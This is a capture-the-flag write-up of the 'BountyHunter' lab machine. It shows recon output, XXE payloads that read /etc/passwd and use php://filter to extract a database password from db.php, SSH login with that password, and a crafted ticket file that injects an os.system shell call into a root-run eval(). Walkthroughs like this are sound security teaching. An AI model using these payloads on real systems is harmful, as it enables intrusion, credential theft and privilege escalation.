Overview
This box falls into “easy” category. Here we’ll learn a thing or two about XXE (XML external entity), LFI (local file inclusion) and python.
Recon
nmap
nmap -sCV -v 10.10.11.100out:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
| 256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_ 256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Bounty Hunters
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
port 80 :
http://10.10.11.100
directory discovery/gobuster
gobuster dir -u http://10.10.11.100 -w /usr/share/dirbuster/directory-list-2.3-medium.txtout:
-===============================================================-
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.100
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/10/30 10:57:22 Starting gobuster in directory enumeration mode
===============================================================
/resources (Status: 301) [Size: 316] [--> http://10.10.11.100/resources/]
/assets (Status: 301) [Size: 313] [--> http://10.10.11.100/assets/]
/css (Status: 301) [Size: 310] [--> http://10.10.11.100/css/]
/js (Status: 301) [Size: 309] [--> http://10.10.11.100/js/]
Progress: 27151 / 220561 (12.31%)
Here, /resources directory listing contains multiple files one of which happens to be README.txt containing.
Tasks:
[ ] Disable 'test' account on portal and switch to hashed password. Disable nopass.
[X] Write tracker submit script
[ ] Connect tracker submit script to the database
[X] Fix developer group permissions
First task mentions portal, let’s check it out.
http://10.10.11.100/portal.php redirects to http://10.10.11.100/log_submit.php

- NOTE: randomly injecting with XSS payloads doesn’t gives any output, hence checking requests with burp now.
Exploitation
Burp
intercepting request from /log_submit.php after providing random inputs shows passing of data variable with some value that seems URL encoded.
Variable being:
PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5hPC90aXRsZT4KCQk8Y3dlPmFzPC9jd2U%2BCgkJPGN2c3M%2BYXNkPC9jdnNzPgoJCTxyZXdhcmQ%2BYXNkZjwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pg%3D%3D
URL decoding this gives :
PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5hPC90aXRsZT4KCQk8Y3dlPmFzPC9jd2U+CgkJPGN2c3M+YXNkPC9jdnNzPgoJCTxyZXdhcmQ+YXNkZjwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pg==
note: select value of variable and send it to decoder tab in burp.
Base64 decoding:
echo "PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5hPC90aXRsZT4KCQk8Y3dlPmFzPC9jd2U+CgkJPGN2c3M+YXNkPC9jdnNzPgoJCTxyZXdhcmQ+YXNkZjwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pg==" | base64 -dout:
<?xml version="1.0" encoding="ISO-8859-1"?>
<bugreport>
<title>a</title>
<cwe>as</cwe>
<cvss>asd</cvss>
<reward>asdf</reward>
</bugreport>Here, a as asd asdf were the inputs given by me to /log_submit.php.
LFI
Having seen XML here insinuate possibility of XXE(XML external entity) injection.
Loosely explaining XXE, XML injection into request already passing XML data to server, if XML reflection/output changes according to injection confirms XXE injection.
XML can include files and return to user with file://.
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&ent;</lastName>
</userInfo>
Here, file:///etc/shadow denotes server’s root path etc/shadow which will be returned if machine is vulnerable to XXE for this specific payload.
Constructing payload to our specifics.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<bugreport>
<title>lmao</title>
<cwe>as</cwe>
<cvss>asd</cvss>
<reward>&ent;</reward>
</bugreport>encoding to base64 :
PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8IURPQ1RZUEUgcmVwbGFjZSBbPCFFTlRJVFkgZW50IFNZU1RFTSAiZmlsZTovLy9ldGMvcGFzc3dkIj4gXT4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5sbWFvPC90aXRsZT4KCQk8Y3dlPmFzPC9jd2U+CgkJPGN2c3M+YXNkPC9jdnNzPgoJCTxyZXdhcmQ+JmVudDs8L3Jld2FyZD4KCQk8L2J1Z3JlcG9ydD4=
encoding special characters (final payload):
PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8IURPQ1RZUEUgcmVwbGFjZSBbPCFFTlRJVFkgZW50IFNZU1RFTSAiZmlsZTovLy9ldGMvcGFzc3dkIj4gXT4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5sbWFvPC90aXRsZT4KCQk8Y3dlPmFzPC9jd2U%2bCgkJPGN2c3M%2bYXNkPC9jdnNzPgoJCTxyZXdhcmQ%2bJmVudDs8L3Jld2FyZD4KCQk8L2J1Z3JlcG9ydD4%3d
Sending this final payload to server with data reflects back with /etc/passwd :
HTTP/1.1 200 OK
Date: Sat, 30 Oct 2021 06:15:55 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 2099
Connection: close
Content-Type: text/html; charset=UTF-8
If DB were ready, would have added:
<table>
<tr>
<td>Title:</td>
<td>lmao</td>
</tr>
<tr>
<td>CWE:</td>
<td>as</td>
</tr>
<tr>
<td>Score:</td>
<td>asd</td>
</tr>
<tr>
<td>Reward:</td>
<td>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
</td>
</tr>
</table>or

Gaining access
This tool a lot of time but, I didn’t seem to list directories which meant that I had to directly reference the file in directories which may or maynot be present on box.
we know apache web server is running and almost always website data resides in /var/www/html so after some time and research I decided to hit db.php file because there was mention of a database time and time again during our stay here.
Also, referencing file normally won’t return anything because of understandable contents of the file.
To workaround this we’ll use php://filter to base64 encode it and send it to us and we’ll decode it again to gain information contained in the file.
php filter :
php://filter/read=convert.base64-encode/resource=/var/www/html/db.phpPayload looked like this:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/db.php"> ]>
<bugreport>
<title>lmao</title>
<cwe>as</cwe>
<cvss>asd</cvss>
<reward>&xxe;</reward>
</bugreport>note: I changed reference var to xxe because all the cool kids do that. Anything other than xxe will work fine, it’s just referencing the position where output must be injected.
This payload provides us with output data which is base64 encoded reading :
PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo=
echo PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo= | base64 -dgives:
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>Here, we have a password m19RoAU0hP41A1sTsq6K for user development (why development? see the /etc/passwd file we retrieved earlier one of the users with shell to login is user with username development). admin test aren’t users on this box.
Let’s ssh with the credentials.
ssh development@10.10.11.100Gaining root
After ssh’ing into the box we see three files in our current working directory.
development@bountyhunter:~$ ls
contract.txt ticketValidator.py user.txt
development@bountyhunter:~$Let’s see what commands our current user can run as sudo:
development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User development may run the following commands on bountyhunter:
(root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
development@bountyhunter:~$line (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py means that our user can run this script /opt/skytrain_inc/ticketValidator.py as root without password.
This python scripts reads:
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()
def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return False
def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close
main()- requires file that ends with
.md - requires file that has its first line as
# Skytrain Inc - requires file that has its second line as
## Ticket to - requires file that has its third line as
__Ticket Code:__ - requires expression that contains
**which is replaced by(nothing) and split with delimiter+and grab[0](meaning first) column of output stream which has to be a number as it is assigned toticketcodefurthermore,ticketcodevalue must return4after modulating with7(4 as remainder when divided with 7) - then evaluate an expression that replaces again
**with nothing and carries out a mathematical operation whose result must be greater than number100. - If all these conditions are met then ticket is valid otherwise not.
- This script is vulnerable where it
eval()the mathematical operation where we will call a shell as root.
Taking all this into consideration script ite.md that I created looks something like this:
# Skytrain Inc
## Ticket to
__Ticket Code:__
**109+1==110 and __import__('os').system('/bin/bash')Finally
development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/home/development/ite.md
Destination:
root@bountyhunter:/home/development# whoami
root
root@bountyhunter:/home/development#we are root now. And that’s all this box has to offer.